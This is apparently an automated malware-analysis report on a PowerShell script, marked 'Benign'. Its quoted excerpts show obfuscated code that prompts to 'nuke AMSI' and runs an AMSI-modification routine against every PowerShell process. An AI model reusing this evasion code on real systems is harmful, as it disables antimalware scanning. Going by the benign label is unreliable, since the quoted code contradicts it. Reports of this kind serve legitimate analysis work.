Benign Download

8093662a4081c8a1f5e0965256ff5fda223eb7a953c2140289a2228af860343c.ps1

Polls a process with Get-ProcessWrites source code or script

SHA-2568093662a4081c8a1f5e0965256ff5fda223eb7a953c2140289a2228af860343c

Evidence

PowerShell writes colored terminal output lines 17–23

17:3… I').rEplACE(([cHAr]97+[cHAr]106+[cHAr]73),[sTrING][cHAr]39))
18
19Write-Host $banner -ForegroundColor Green
20
21
22# Prompt the user for confirmation
23$confirmation = Read-Host ('Are you'+' '+'re'+'a'+'dy to n'+'uke'+' AMS'+'I f'+' …

Polls a process with Get-Process lines 157–159

39… o'+'werShell'+' p'+'r'+'ocesses...') -ForegroundColor Cyan
  Get-Process | Where-Object { $_.ProcessName -eq ('powersh'+'e'+'ll') } | ForEach-Object {
      Write-Host ('Mo'+'d'+'ifyi'+'ng '+'pr'+' …

Writes source code or script lines 159–166

159:91… groundColor Cyan
160        ModAMSI -processId $_.Id
161    }
162}
163
164Write-Host ('Star'+'ting AMS'+'I modific'+'a'+'ti'+'on'+' script...') -ForegroundColor Cyan
165ModAllPShells
166Write-Host ('AMS'+'I '+'m'+'odi'+'fication s'+'c'+'ript completed.') -ForegroundColo …